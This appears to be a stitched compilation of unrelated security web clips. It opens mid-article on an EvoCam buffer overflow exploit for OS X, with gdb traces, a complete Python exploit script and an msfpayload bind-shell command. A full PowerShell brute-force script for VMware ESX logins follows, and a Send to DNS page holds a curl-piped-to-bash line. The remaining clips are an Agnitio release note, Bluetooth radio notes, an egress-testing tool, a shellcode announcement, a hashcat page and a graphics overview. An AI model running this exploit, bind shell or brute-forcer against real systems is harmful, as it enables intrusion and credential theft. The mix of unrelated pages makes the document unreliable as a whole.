0x8fe66468: nop  
  
0x8fe66469: pop eax  
  
0x8fe6646a: popa  
  
0x8fe6646b: ret

So we have hit our breakpoint at the end of setjmp, we single step and meet
our FRAG0 code which looks intact in memory so we continue:

\(gdb\) c  
  
Continuing.  
  
Breakpoint 1, 0x8fe1d026 in \_\_dyld\_\_setjmp \(\)  
  
\(gdb\) si  
  
0x8fe66460 in ?? \(\)  
  
\(gdb\) x /6i $eip  
  
0x8fe66460: nop  
  
0x8fe66461: pop eax  
  
0x8fe66462: mov eax,esp  
  
0x8fe66464: add eax,0xe  
  
0x8fe66467: mov DWORD PTR \[esp+0x8\],eax  
  
0x8fe6646b: ret

Again we step over the return and we can now see that execution is pointing to
our modified but intact FRAG1 code.

Let’s try fixing the code and changing the 0×0e back to 0×0c to test if things
work correctly:

\(gdb\) set \{int\}0x8fe66464 = 0x890cc083  
  
\(gdb\) x /6i $eip  
  
0x8fe66460: nop  
  
0x8fe66461: pop eax  
  
0x8fe66462: mov eax,esp  
  
0x8fe66464: add eax,0xc  
  
0x8fe66467: mov DWORD PTR \[esp+0x8\],eax  
  
0x8fe6646b: ret  
  
\(gdb\) c  
  
Continuing.  
  
Breakpoint 2, 0x8fe210dc in \_\_dyld\_strdup \(\)  
  
\(gdb\) c  
  
Continuing.  
  
Program received signal SIGTRAP, Trace/breakpoint trap.  
  
0x0012db31 in ?? \(\)  
  
\(gdb\) x /i $eip  
  
0x12db31: int3

So it look’s like we have correctly executed our desired shellcode. Let’s run
it again and see what happens without manually fixing the FRAG1 instructions
in memory.

So this time we hit our breakpoint the first time setjmp is called, let’s
continue on to the second.

Breakpoint 1, 0x8fe1d026 in \_\_dyld\_\_setjmp \(\)  
  
\(gdb\) c  
  
Continuing.

We hit the breakpoint for a second time and we can step over the return at the
end of setjmp so we are executing the modified FRAG1 code.

Breakpoint 1, 0x8fe1d026 in \_\_dyld\_\_setjmp \(\)  
  
\(gdb\) si  
  
0x8fe66460 in ?? \(\)  
  
\(gdb\) x /6i $eip  
  
0x8fe66460: nop  
  
0x8fe66461: pop eax  
  
0x8fe66462: mov eax,esp  
  
0x8fe66464: add eax,0xe  
  
0x8fe66467: mov DWORD PTR \[esp+0x8\],eax  
  
0x8fe6646b: ret

So before execution the stack is:

\(gdb\) x /8 $esp  
  
0xb01bee30: 0x8fe66448 0x8fe210dc 0x8fe01041 0x41414141  
  
0xb01bee40: 0xcccccccc 0x00003d00 0xb01bee88 0x967bbe51

And EAX:

\(gdb\) p /x $eax  
  
$1 = 0x0

We take the next nop instruction followed by pop %eax which takes the top four
bytes from the stack and loads them into register EAX:

0x8fe66462 in ?? \(\)  
  
\(gdb\) p /x $eax  
  
$3 = 0x8fe66448

Next we move the value of ESP into EAX:

\(gdb\) p /x $eax  
  
$4 = 0xb01bee34

Now we add 0xE to the value of EAX:

\(gdb\) p /x $eax  
  
$5 = 0xb01bee42

And finally we store the resulting value of EAX onto the stack at ESP+8

\(gdb\) x /8 $esp  
  
0xb01bee34: 0x8fe210dc 0x8fe01041 0xb01bee42 0xcccccccc  
  
0xb01bee44: 0x00003d00 0xb01bee88 0x967bbe51 0xa088b100

This address which points to a portion of the stack is used as the argument to
strdup\(\) which is used to copy our exploit code into heap memory.

If we examine the what this address is pointing at we see:

\(gdb\) x /4x 0xb01bee42  
  
0xb01bee42: 0x3d00cccc 0xee880000 0xbe51b01b 0xb100967b

So rather than pointing to the beginning of our payload \(0xcccccccc\) we are
2 bytes out, this is because we had to modify FRAG1 to remove the bad
character. Hopefully we can pad the start of our shell code with a couple of
nops to fix things up.

\#\!/usr/bin/python  
  
import socket  
  
import struct  
  
\# Settings for Leopard 10.5.8  
  
WRITEABLE = 0x8fe66448  
  
SETJMP = 0x8fe1cf38 \#$ nm /usr/lib/dyld | grep "setjmp" \#8fe1cf38 t \_setjmp  
  
STRDUP = 0x8fe210dc \#$ nm /usr/lib/dyld | grep "strdup" \#8fe210dc t \_strdup  
  
JMPEAX = 0x8fe01041 \#0x8fe01041 \[\_\_dyld\_\_dyld\_start+49\]: jmp \*%eax  
  
NOP="\x90\x90\x90\x90"  
  
buf="\xcc\xcc\xcc\xcc"  
  
FRAG0 = "\x90" \+ "\x58" \+ "\x61" \+ "\xc3"  
  
FRAG1 = "\x90" \+ "\x58" \+ "\x89\xe0" \+ "\x83\xc0\x0e" \+ "\x89\x44\x24\x08"
\+ "\xc3" \# x0c is a bad char  
  
STUB = \  
  
FRAG0 + \  
  
struct.pack\('\]III',SETJMP,WRITEABLE+32,WRITEABLE\) \+ \  
  
FRAG1 + \  
  
'A'\*20 +\  
  
struct.pack\('\]IIIII',SETJMP,WRITEABLE+24,WRITEABLE,STRDUP,JMPEAX\) \+ \  
  
'A'\*4  
  
BUFFER = "A"\*1308 \+ STUB + NOP + buf  
  
s=socket.socket\(socket.AF\_INET, socket.SOCK\_STREAM\)  
  
connect=s.connect\(\('192.168.1.29',8080\)\)  
  
print '\[+\] Sending evil buffer...'  
  
s.send\("GET " +BUFFER + " HTTP/1.0\r\n\r\n"\)  
  
s.close\(\)

We attach gdb and we get:

\(gdb\) c  
  
Continuing.  
  
Program received signal SIGTRAP, Trace/breakpoint trap.  
  
\[Switching to process 1607 thread 0x613f\]  
  
0x00120cd3 in ?? \(\)  
  
\(gdb\) x /i $eip  
  
0x120cd3: int3

Great we have now hit the breakpoints in our dummy payload. Next job is to
replace our breakpoints with something more useful…

### Shellcode Generation

We’ll use Metasploit’s msfpayload to generate an OS X bind shell.

Due to the earlier issues with bad characters we will need to encode the
shellcode to avoid these, and other known bad characters:

$ msfpayload osx/x86/vforkshell\_bind\_tcp R | msfencode -e x86/shikata\_ga\_nai -b '\x00\xff\x09\x0a\x0b\x0c\x0c\x0d\x20' -t ruby
We can now replace our dummy payload with this shellcode and launch our
exploit:

### Fire up the Quattro..

<img src='img/Temp2_2802.png' width='589' height='235' alt='osx exploit paul
Evocam Remote Buffer Overflow on OSX' />

### Completed Exploit

You can find the completed working exploit on the exploit-database.

# Agnitio Security Code Review Tool v2.1 released | Security Ninja
**Created:**| _10/24/2011 11:51:06 AM_  
---|---  
**Updated:**| _10/24/2011 11:51:06 AM_  
**Author:**| __  
**Tags:**| _code-review software_  
  

## Agnitio Security Code Review Tool v2.1 released

October 24, 2011 | Written by Security Ninja |  Application Security, Ninja News and Updates |  Leave a comment
Hi everyone,

I wanted to write a blog post today to let you all know that I’ve released
Agnitio v2.1 today. I did plan to release this version a few weeks ago but a
combination of life and bugs/last minute feature changes delayed the release,
better late than never though\!

I’ve made a lot of changes for this release so I wanted to make extra sure
that everything worked before I released it. Interestingly Agnitio passed all
of its QA tests in the first test run but the Data Migration Tool was a
different story\! The DMT is used to migrate users existing data into the new
Agnitio checklist database. It’s probably not the best way to perform an
upgrade and it certainly needs some work but for now it works\! Agnitio
currently puts the new checklist database into the program files directory
alongside the other Agnitio files which can cause a bit of problem because of
the default file permissions on the Program Files directory.

The program files directory in Windows 7 has better \(the definition of better
requires me look at it as a security professional and not as someone writing
code\!\) default permissions/restrictions than previous versions of Windows I
believe which causes a problem when using Agnitio or the DMT as a standard
user. The user obviously needs to be able to read data from the checklist
database and of course write reviews or changes to the database. I tried a few
different approaches to rectifying this and I’ve settled on a solution which
probably isn’t ideal but it does mean standard users can use Agnitio on
Windows 7. The DMT will need to be run as an administrator to migrate the data
but after that administrator privileges aren’t needed anymore. You will need
to make a few permission changes regardless of the operating system you are
using so please make sure you read the Agnitio v2.1 User Guide \(included as
part of the installation\) before you attempt to use the new version or
migrate your data.

I’m currently working on a better solution to this with a new contributor so
I’d expect to have a nicer solution to this problem when the next version of
Agnitio is released\!

So what’s new in v2.1? I have listed all of the changes in this release below:

  * Windows x64 support \(thanks to Steven van der Baan\).

  * Decompile Android .apk files so you can analyse the source code and AndroidManifest.xml file. This uses tools like JAD so you will need to have Java installed on your machine to decompile the Android .apk files.

  * C\# and Java rules from the OWASP Code Crawler tool imported into the Agnitio database and linked to the relevant checklist questions.

  * New checklist items for mobile application security code reviews. These checklist items were created to address items in the OWASP top 10 mobile risks project that weren’t covered by existing checklist items.

  * Application profiles can now be configured as either “Web” or “Mobile”. This will determine which checklist items from the database are used to create the checklist for the application being reviewed.

  * Create new checklist items. You will be able configure the relevant principle of secure development for the new checklist item as well as deciding whether this is a question for “Web”, “Mobile” or “Both” types of applications.

  * Modify existing checklist items. This was supposed to be included in v2.0 but a last minute change I made at 7am in a Las Vegas hotel room broke this functionality. You can now modify the text, the principle and type columns for questions in the checklist database.

I made a lot of small changes in addition to the ones above; I’ve listed some
of the more obvious ones below:

  * Only one answer allowed per checklist item \(thanks to Steven van der Baan\).

  * Fixed a bug on the security code review tab where checklist items with no answers are highlighted in red and never “un-highlighted” \(thanks to Steven van der Baan\).

  * Added a language checkbox for Objective-C on the profile creation and view profile tabs.

  * Checklists are now sorted by principle and not by the question number.

I did have two issues which I couldn’t get fixed but I decided to release v2.1
now because it has already taken longer than I’d planned\! The two issues will
only affect x64 users and I will make sure they are fixed as part of v2.2:

  * Android .apk decompile functionality will fail to decompile .apk files on Windows x64.

  * Data Migration Tool \(for upgrades from v2.0\) is not supported on x64 at the moment. You can use the Data Migration Tool on x86 versions of Windows to migrate your v2.0 data.

I think I’ve included all of the new features and changes in this blog post so
all that’s left for me to do now is give you link to download v2.1:

Agnitio v2.1

I have started to plan what will be included in v2.2 but I’ve not started
working on it yet. I have a few cool ideas in mind for v2.2 which I think you
will all like. I’ve released 5 versions of Agnitio over the past 11 months
which has eaten up a lot of my spare time and I don’t really enjoy working on
one thing for a long time. I will be taking a couple of weeks away from the
project before I start work on v2.2 to rest my poor overworked brain <img
src='img/Temp2_493.gif' alt=':)' /> I don’t expect to release v2.2 until
sometime after Christmas partly because of the break I’m taking from the
project but mainly because of the amount of work that I will need to do to
implement the cool changes I want to make\!

As always I’d love to hear what you think of the latest version of Agnitio so
get in touch via Twitter, email or leave a comment on this blog post.

# Send to DNS

**Created:**| _2/23/2012 10:11:56 PM_  
---|---  
**Updated:**| _2/23/2012 10:11:58 PM_  
**Author:**| __  
**Tags:**| _DNS_  
  

# Send To DNS

## Sharing files using DNS

Download Latest version from GitHub

#### Try it out\!

This example runs a shell script that will pull down a 45M version of the
movie _Elephants Dream_. You can read the script here before running.

` `

[code]

    bash -s < <(curl -fsSL https://raw.github.com/gist/2f5d143612734f321fa2) e8fkiy
[/code]

` `

#### What is this?

This project is designed to allow users to share files using the Domain Name
System \(DNS\). The Domain Name System supports DNS cache servers which store
DNS query results for a period of time determined in the configuration \(time-
to-live\) of the domain name record in question. This feature allows files
stored on an authoritative name server to be cached on nameservers closer to
the end-user, and allows for easy replication of the file across any recursive
nameservers.

As a proof of concept, the code is written to use the bind nsupdate tool to
perform dynamic updates to a bind server. Easier methods can be devised both
for bind, and other nameservers such as writing the records directly to a zone
file, or taking advantage of the varied backend technologies that servers such
as PowerDNS provide.

A file can be requested just by using it's generated identifier, all meta-
information about records used, length and md5 is stored with the file in DNS.

` `

[code]

    # dig TXT +short +vc fileid.4qefx5.sendtodns.org 
    "ubuntu-11.10-desktop-i386.iso,4qefx5.001,4qefx5.696,c396dd0f97bd122691bdb92d7e68fde5"
    #
[/code]

` ` ` `

[code]

    # dig TXT +short +vc fileid.4qefx5.001.sendtodns.org
    "4qefx5.001,459,cdbbc5f3ab446f078ce57f1c2a29c781"
    #
[/code]

` `

In the proof of concept, files are broken apart using 'lxsplit' and then
converted to text using uuencode. The split files are then pushed to TXT
records with a random name.

Disclaimer

The code is functional but ugly. Part of the reason for creating this is to
get more familiar with Ruby. PLEASE fork the code and submit pull requests,
even if you are just adding a TODO.txt with a list of things I should clean
up.

# Bluetooth on USRP hardware - Pastebin.com

**Created:**| _1/22/2012 7:29:09 PM_  
---|---  
**Updated:**| _1/22/2012 7:29:09 PM_  
**Author:**| __  
**Tags:**| _research DSP bluetooth_  
  

  1. ================================
  2. == Bluetooth on USRP hardware == 
  3. ================================
  4.   5. General facts:
  6. \- Hops at 1600 times per second
  7. \- Bandwidth ~1MHz
  8. \- GFSK modulation at 1Ms/s \(BT = 0.5, 0.28 < m < 0.35\)
  9. \- 79 hopping frequencies: f = 2402 + k, k = 0..78
  10. \- 625us per time slot
  11. \- Hopping sequence determined by piconet master address
  12. \- Master on even slots, slaves on odd slots
  13. \- Packet transmissions can extend to 5 slots
  14. \- Single hop frequency for each transmission
  15.   16. Approaches
  17. ==========
  18.   19. Single RF Frequency
  20. \-------------------
  21.   22. Tune RF front end to 2441.5MHz and keep it there. This can give
  23. the FPGA a view of ~80MHz bandwidth with a USRP2 sampling at 100MHz.
  24. For a USRP1, the bandwidth is limited to 64MHz, but since Bluetooth
  25. is only 1MHz wide, band-pass sampling can be used and the frequencies
  26. over 64MHz would need to be conjugated to be correct.
  27.   28. Next, a frequency hopping LO inside the FPGA can retune the mixer to center
  29. up the frequency before going into the CIC and FIR decimation stages
  30. to get to a more reasonable sample rate. Conversely, for TX, the same
  31. mixer can be used to move the baseband transmit 1MHz to any particular
  32. spot in the TX passband before going out to the DAC.
  33.   34. Advantages:
  35. \- Single tune frequency so no need for RF synth to settle
  36. \- No need to interface to outside RF hardware as all processing
  37. is done in the host/FPGA
  38.   39. Disadvantages:
  40. \- Not intuitive/same implementation for both USRP1 and USRP2
  41. \- Requires modifying some filters on the RF board and possibly 
  42. the USRP itself
  43. \- FPGA modifications required
  44.   45. Re-tune per Hop
  46. \---------------
  47.   48. Re-tune the RF front end for each transmission. Build the frequency
  49. hopper and detection algorithm into the FPGA. According to:
  50.   51. http://ossmann.blogspot.com/2008/11/reversing-bluetooth-hopping-sequence.html
  52.   53. The hopping sequence is based on the piconet masters address and internal
  54. clock. The address is constant whereas the internal clock is a 28-bit
  55. integer which increments 3200 times per second.
  56.   57. The hopper circuitry in the FPGA can be modularized such that it can
  58. output the next frequency it needs to go to and then a frequency to
  59. DB programmer can be used to program the connected DB.
  60.   61. Advantages:
  62. \- No hardware modifications as we are centering on 1MHz channels
  63. \- More closely aligned implementation for USRP1 and USRP2
  64.   65. Disadvantages:
  66. \- Requires knowledge of which DB is connected for proper programming
  67. \- Takes up to 200us to lock RF synthesizers
  68. \- FPGA modifications required
  69.   70. Commonality
  71. ===========
  72.   73. Both approaches put the frequency hopper logic into the FPGA. Working
  74. on that module would benefit both approaches while the pros/cons of each
  75. approach otherwise can be determined.
  76.   77. Registers need to be added to the FPGA to provide the 28-bit piconet
  78. master address, the 28-bit master internal clock and the USRP timestamp
  79. that the control frequency successfully captured a burst. With this
  80. information, the FPGA can calculate what the new master clock value
  81. and lock itself to the hopping sequence.
  82.   83. Unknowns
  84. ========
  85.   86. Without knowing much about Bluetooth's physical layer, I don't know how
  87. each transmission knows how long it will be and, as such, knows how
  88. long to dwell on each frequency.
  89.   90. I imagine there is a preamble to the Bluetooth physical layer which
  91. can be implemented in the FPGA to find the start of a burst transmission.
  92. Possibly the RSSI of the signal could be used to close the loop as to when
  93. the transmission has ended and to move on to the next frequency. Due to the
  94. low symbol rate of Bluetooth, this might be particularly easy/small to do
  95. in the FPGA.
  96.   97. In a WiFi + BT co-location scenario, this is not ideal, but maybe there
  98. is some small header information which can easily be decoded in the FPGA
  99. as well which can help mitigate false-negative end-of-burst transitions.

# Cyberis Blog: Egresser - Tool to Enumerate Outbound Firewall Rules

**Created:**| _8/20/2013 9:16:33 AM_  
---|---  
**Updated:**| _8/20/2013 9:16:33 AM_  
**Author:**| __  
**Tags:**| _Firewalls_  
  

# **E** gresser - Tool to Enumerate Outbound Firewall Rules****

Egresser is a tool to enumerate outbound firewall rules, designed for
penetration testers to assess whether egress filtering is adequate from within
a corporate network**.** Probing each TCP port in turn, the Egresser server
will respond with the client’s source IP address and port, allowing the client
to determine whether or not the outbound port is permitted \(both on IPv4 and
IPv6\) and to assess whether NAT traversal is likely to be taking place**.**

## How it Works****

The server-side script works in combination with Iptables - redirecting all
TCP traffic to port 8080 where the ‘real’ server resides**.** The server-side
script is written in Perl and is a pre-forking server utilising
_Net::Server::Prefork_ , listening on both IPv4 and IPv6 if available**.** Any
TCP connection results in a simple response containing a null terminated
string made up of the connecting client’s IP and port**.** Feel free to use
Telnet to interact with the service if you are in a restricted environment
without access to the Egresser client \(our Egresser server can be found at
_egresser.labs.cyberis**.** co.uk_, which you are free to use for legitimate
purposes\)**.**

The client is also written in Perl and is threaded for speed**.** By default
it will scan TCP ports 1-1024, although this is configurable within the
script**.** It is possible to force IPv4 with the ‘-4’ command line argument,
or IPv6 with ‘-6’; by default it will choose the protocol preferred by your
operating system**.** If you want to explicitly list all open/closed ports,
specify the verbose flag \(-v\), as normal output is a concise summary of
permitted ports only**.**

It is recommended that outbound firewall rules are restricted within corporate
environments to ensure perimeter controls are not easily circumvented**.** For
example, inadequate egress filtering within an organisation would allow a
malicious user to trivially bypass a web proxy providing filtering/AV/logging
simply by changing a browser’s connection settings**.** Many other examples
also exist - many worms spread over SMB protocols, malware can use numerous
channels to exfiltrate data, and potentially unauthorised software \(e**.** g.
torrent/P2P file sharing\) can freely operate, wasting corporate resources and
significantly increasing the likelihood of malicious code being introduced
into the environment**.**

Generally, it is recommended that all outbound protocols should be restricted,
allowing exceptions from specific hosts on a case-by-case basis**.** Web
browsing should be conducted via dedicated web proxies only, with any
attempted direct connections logged by the perimeter firewall and investigated
as necessary**.**

Egresser is a simple to use tool to allow a penetration tester to quickly
enumerate allowed ports within a corporate environment**.**

## Download****

Egresser \(client and server\) can be downloaded from our GitHub respoitory -
https://github.com/Cyberisltd/Egresser **.**

## Screenshot****

<img src='img/Temp2_1773.png' />

****

# Skypher · w32 speaking shellcode – Pwn in style

**Created:**| _1/1/2011 10:47:03 AM_  
---|---  
**Updated:**| _1/1/2011 10:48:03 AM_  
**Author:**| __  
**Tags:**| _shellcode windows environment awesome_  
  

## w32 speaking shellcode – Pwn in style

Posted by SkyLined on December 31st, 2010 in Uncategorized · 0 Comments

Over the past few weeks I created a new shellcode that uses the Microsoft
Speech API to have the target computer say “You got pwned\!” over the
speakers. Needless to say, the practical applications are myriad, from
impressing women in bars to expediting world peace. However, I expect that the
most common application will be people impressing their friends with their
1337 hacker skills.

The size of the shellcode is 242 bytes \(add 5 for stack alignment and 39 for
EAT bypass\). It has all the usual bells and whistles: OS/SP independent,
null-free, optional stack alignment and EAT bypass and no register requires a
specific value for it to run correctly.

Get the code here.<img src='img/w32-speaking-shellcode.zip' width='265'
height='49' />

# Blog | Security Whole: Brute Force ESX Username/Password
**Created:**| _9/1/2009 6:05:18 PM_  
---|---  
**Updated:**| _9/1/2009 6:05:38 PM_  
**Author:**| __  
**Tags:**| _windows security security tools powershell_  
  

## Brute Force ESX Username/Password

This script will brute force the connection to ESX. You can either give it a
single username or a username file. Similarly, you can either give it a single
password or a password file. You also have the ability to define how many jobs
will run in parallel.  
  
\#———————————————————————————————  
\#Description: Powershell Simple VMware ESX Login Brute Force Script  
\#Version: 1.0  
\#Author: Tim Medin  
\#Email: TimMedin A@T securitywhole D.O.T com  
\#———————————————————————————————  
\#Parameter Declaration  
param \(  
\[Parameter\(Position=0\)\]  
\[string\] $Server = $\(Read-Host -prompt "Server"\),  
\[Parameter\(Mandatory=$false\)\]  
\[string\] $User,  
\[Parameter\(Mandatory=$false\)\]  
\[string\] $Password,  
\[Parameter\(Mandatory=$false\)\]  
\[string\] $UsersFile,  
\[Parameter\(Mandatory=$false\)\]  
\[string\] $PasswordsFile,  
\[Parameter\(Mandatory=$false\)\]  
\[int\] $MaxJobs = 10  
\)  
  
\# Function to handle the jobs once they complete  
\# As the jobs finish \(Completed, or Failed\) they are handled by this
routine  
\# Each Job has a child job that actually does the work, if that job  
\# does not have an error then we have found a successful user/pass combo  
Function Handle-Jobs \{  
Get-Job | Where-Object \{$\_.State -ne "Running"\} | ForEach-Object \{  
$job = $\_  
if \(\!$job.ChildJobs\[0\].Error\) \{  
\# Found one\!  
Receive-Job $job -Keep | Out-Null  
\# Echo the user/pass combo stored the job name  
echo "Found $\($job.Name\)"  
\#Clean up all the running jobs  
Get-Job | Stop-Job  
Get-Job | Remove-Job  
\#quit  
exit  
\}  
Remove-Job $job  
\}  
\}  
  
\# Make sure we have enough info passed in from the parameters  
if \(\!$User -and \!$UsersFile\) \{  
throw "User or UserFile required."  
\}  
if \(\!$Password -and \!$PasswordsFile\) \{  
throw "Password or PasswordFile required."  
\}  
  
\# If the UsersFile and a Username are provided then use the UsersFile  
\# Convert UsersFile or single User into an array so we can use a loop  
if \($UsersFile\)  
\{  
$Users = Get-Content $UsersFile  
\}  
else  
\{  
$Users = @\($User\)  
\}  
  
\# If the PasswordsFile and aPassword is provided then use the PasswordsFile  
\# Convert PasswordsFile or single Password into an array so we can use a loop  
if \($PasswordsFile\)  
\{  
$Passwords = Get-Content $PasswordsFile  
\}  
else  
\{  
$Passwords = @\($Password\)  
\}  
  
$Passwords | ForEach-Object \{  
$pass = $\_  
$Users | ForEach-Object \{  
$usr = $\_  
  
\# If too many jobs running then wait for some to complete  
while \(\(Get-Job\).Count -ge $MaxJobs\) \{  
Handle-Jobs  
Start-Sleep -Seconds 5  
\}  
  
\# Start the job to attempt the connection  
Start-Job -InitializationScript \{Add-PSSnapin VMware.VimAutomation.Core\}
-ScriptBlock \{ param\($Server, $usr, $pass\) Connect-VIServer -Server $Server
-Protocol https -User $usr -Password $pass \} -Name "User:$usr Pass:$pass"
-ArgumentList$Server,$usr,$pass  
\}  
\}  
  
"Everything has been queued, waiting for jobs to complete"  
  
\# Wait for the jobs to complete  
Do \{  
Handle-Jobs  
Start-Sleep -Seconds 5  
\} while \(Get-Job\)

# oclHashcat-plus - advanced password recovery

**Created:**| _5/29/2011 7:39:14 PM_  
---|---  
**Updated:**| _5/29/2011 7:39:14 PM_  
**Author:**| __  
**Tags:**| __  
  

## Download latest version

Name | Version | md5sum | Date  
---|---|---|---  
oclHashcat-plus | v0.04 | fa27e97ce9ccca07aaf0782e5d771842 | 2011.05.20  
User Manual | v1.0b | 5a62c6693afd910683abb1ce789a644f | 2011.05.20  
### GPU Driver and SDK Requirements:

  * NV users require ForceWare v270.x
  * AMD users require Catalyst v11.4 with APP SDK 2.4 or integrated OpenCL driver

## Features

  * Worlds fastest md5crypt and phpass cracker
  * Worlds first and only GPGPU based rule engine
  * Free
  * Multi-GPU \(up to 16 gpus\)
  * Multi-Hash \(up to 24 million hashes\)
  * Multi-OS \(Linux & Windows native binaries\)
  * Multi-Platform \(OpenCL & CUDA support\)
  * Multi-Algo \(see below\)
  * Low resource utilization, you can still watch movies or play games while cracking
  * Focuses highly iterated modern hashes
  * Focuses single dictionary based attacks
  * Supports pause / resume while cracking
  * Supports reading words from file
  * Supports reading words from stdin
  * Integrated thermal watchdog
  * ... **and much more**

## oclHashcat-plus Screenshot

<img src='img/Temp2_10507.png' alt='oclHashcat-plus-screenshot' />

## Algorithms

  * MD5
  * phpass, MD5\(Wordpress\), MD5\(phpBB3\)
  * md5crypt, MD5\(Unix\), FreeBSD MD5
  * MD4
  * NTLM
  * Domain Cached Credentials
  * descrypt, DES\(Unix\), Traditional DES
  * md5apr1, MD5\(APR\), Apache MD5

## Tested OS

  * All Windows and Linux versions should work on both 32 and 64 bit

## Tested GPU

  * All CUDA and Stream enabled cards should work

## Performance

  * PC1: Windows7, 64 bit
  * Catalyst 11.5
  * 1x ATI hd5970
  * stock core clock

  * PC2: Windows7, 64 bit
  * ForceWare 270.61
  * 1x NVidia gtx570
  * 1600Mhz core clock

  * PC3: Ubuntu 10.10, 64 bit
  * Catalyst 11.4 + Stream SDK v2.4
  * 8x ATI hd6970
  * stock core clock

  * PC4: Ubuntu 10.04, 64 bit
  * ForceWare 270.41.06
  * 7x NVidia gtx580
  * 1594Mhz core clock

  
Hash Type | PC1 | PC2 | PC3 | PC4  
---|---|---|---|---  
MD5 | 5737 M/s | 1401 M/s | 25900 M/s | 9559 M/s  
phpass, MD5\(Wordpress\), MD5\(phpBB3\) | 2943 k/s | 652 k/s | 13500 k/s | 4839 k/s  
md5crypt, MD5\(Unix\), FreeBSD MD5 | 3809 k/s | 1089 k/s | 18400 k/s | 8135 k/s  
MD4 | 8582 M/s | 1964 M/s | 39600 M/s | 13700 M/s  
NTLM | 7280 M/s | 1752 M/s | 33200 M/s | 12400 M/s  
Domain Cached Credentials | 4168 M/s | 965 M/s | 19500 M/s | 6905 M/s  
descrypt, DES\(Unix\), Traditional DES | 55 M/s | 25 M/s | 310 M/s | 181 M/s  
md5apr1, MD5\(APR\), Apache MD5 | 3807 k/s | 1089 k/s | 18300 k/s | 8113 k/s  
## Help

  * Videos
  * Forum
  * IRC

A detailed description of all commandline parameters is available by using
`--help`. Next to that, the rar-package contains extensive documentation. Look
for `examples.txt`. If you encounter a Bug, report it in the Forums where
Fixes and Beta versions are announced as well.

## Download older version\(s\)

This is a list of older oclHashcat-plus versions, it's not always bad to grab
the latest version.

Name | Version | md5sum | Date  
---|---|---|---  
oclHashcat-plus | v0.03 | af9bad01dd6324d2461a87011250d884 | 2011.01.31  
oclHashcat-plus | v0.02 | 0d7c1683733174afc29c389ddc1fb4bd | 2011.01.30

# An Overview of Chromium

**Created:**| _4/4/2014 11:11:11 AM_  
---|---  
**Updated:**| _4/4/2014 11:11:11 AM_  
**Author:**| __  
**Tags:**| _GPU cluster_  
  

#  Chromium: Parallel, Distributed OpenGL Rendering On Commodity Clusters

Lawrence Livermore National Laboratory, Stanford University, University of
Virginia and Tungsten Graphics, Inc.  
This work was performed under the auspices of the U.S. Department of Energy by
University of California, Lawrence Livermore National Laboratory under
Contract W-7405-Eng-48. UCRL-MI-202411

<img src='img/Temp2_569.png' alt='VisIt interactive parallel visualization
application' />

####  VisIt interactive parallel visualization application run on a commodity
cluster and displaying to a tiled display using Chromium

Over the past few years, progress in consumer graphics card capabilities and
desktop CPU performance, coupled with advances in high-performance networks,
have enabled a new generation of super-computer: the commodity cluster. These
new clusters, built from collections of off-the-shelf PCs outfitted with
consumer graphics cards, offer nearly limitless power for the rendering and
display of 3D graphics. However, the application programming interface \(API\)
to these systems was not designed for large, parallel clusters. Chromium
provides a common parallel graphics programming interface to support such
clusters. In addition, it allows most existing applications to run without
modification, and enables creation of powerful new parallel graphics
applications capable of fully exploiting the power of these clusters.

Chromium provides a number of key capabilities, uniquely combined into a
single package:

  * Novel method for synchronizing parallel graphics commands 
  * "Streaming" graphics pipeline based on the industry standard OpenGL API 
  * Support for multiple physical display devices clustered together, such as "powerwall" displays 
  * Support for aggregation of the output of multiple graphics cards to drive a single display at higher levels of performance/capability 
  * Application-transparent plug-in mechanism supporting custom graphics pipelines 

The Chromium infrastructure has been adopted by a large number of users and is
rapidly forming the basis of a great deal of clustering research. Chromium's
capabilities have not only proven to be useful on graphics clusters, but the
technologies are also useful on the single desktop PC.

While distributed processing using clusters of off-the-shelf PCs has become a
key technology for high-performance computing and has been used for many kinds
of computational problems, graphics and visualization applications have not
been able to fully take advantage of this new technology. Chromium provides a
way for interactive two and three dimensional graphics applications to take
full advantage of powerful distributed, graphics-enabled clusters of off-the-
shelf \(commodity\) PCs. It provides a mechanism that allows applications to
draw computer graphics imagery on such clusters with a high degree of
scalability, and offers unique capabilities not previously available, even on
traditional desktop computer workstations,

##  Enables visualization applications to use cluster technology

Although several software technologies had emerged to allow general-purpose
computing applications to harness the capabilities of commodity clusters, none
had been available for graphics processing. Chromium creates a way for any
program using the OpenGL standard, even older ones, to take advantage of
cluster technology.

##  Highly Scalable

Chromium provides graphics scalability on three fundamental axes: quantity of
data, rendering capability, and display capability.

Chromium's _data scalability_ means it has the ability to handle increasingly
larger datasets on increasingly larger clusters.

_Rendering scalability_ is the ability to increase rendering performance or
its capacity \(for example, rendering more triangles per second or more pixels
per second\). Rendering capability can be increased by aggregating together
multiple commodity graphics cards \(in the form of multiple PCs\) to draw one
image.

_Display scalability_ is the ability to use increases in rendering
capabilities to generate larger output images. This could take the form of
tiled displays made up of multiple individual displays or projectors, or it
could take the form of a single display much larger than could be driven at
acceptable rates by a single graphics card. Chromium provides graphics
applications with software mechanisms for parallel processing that provide
simultaneous scaling in all three axes.

<img src='img/Temp2_566.png' />

####  Chromium allows an unmodified graphics application  
\(MeshTV\) to render to a tiled display device.

##  Unique New Capabilities

In addition to allowing graphics programs to run on distributed-memory
graphics clusters, Chromium's application programming interface \(API\) also
provides a way for existing and new programs to effectively exploit these
capabilities in unique ways. Because it dynamically replaces a system's native
OpenGL libraries with a Chromium library when the application is executed,
Chromium can be used by any existing OpenGL application without modification.
This allows new parallel applications to be written that use the OpenGL
extensions Chromium provides to facilitate even greater levels of system
scaling.

Chromium greatly simplifies the development of new parallel applications by
providing a utility library \(CRUT\), modeled after the GL utility library
\(GLUT\). Chromium's library allows essentially unmodified GLUT-based
applications to be automatically converted to run as parallel applications.

In short, Chromium provides a beginning-to-end software architecture that
enables the execution of scalable rendering and graphics applications on
distributed-memory graphics clusters, integrated with scalable and remote-
display technologies.

<img src='img/Temp2_567.png' width='128' height='64' />

How does it do it?

##  History

The past few years have witnessed a revolution in computer graphics solutions
for PCs, driven largely by the demands of computer gaming. The Chromium
project was started with the aim of harnessing this revolution in the form of
scalable commodity clusters by making this dramatic leap in graphics
performance accessible to parallel applications. The name Chromium was derived
from the phrase: "Clustered Rendering" or CR for short. CR happens to be the
atomic symbol for element Chromium; hence the project name. Chromium is a
collection of a number of core technologies. Several were prototyped in a
project at Stanford known as WireGL. Chromium began as a follow-on project to
WireGL and it includes a number of the core WireGL features. Several papers
that refer to the WireGL project and describe these technologies are included
in this entry. We ask that reviewers consider that these core WireGL
technologies have been entirely incorporated, and in several cases extended,
in the Chromium project.

Since its public release, the Chromium system has proven to be an extremely
popular infrastructure. There have been over 18,000 downloads of the software.
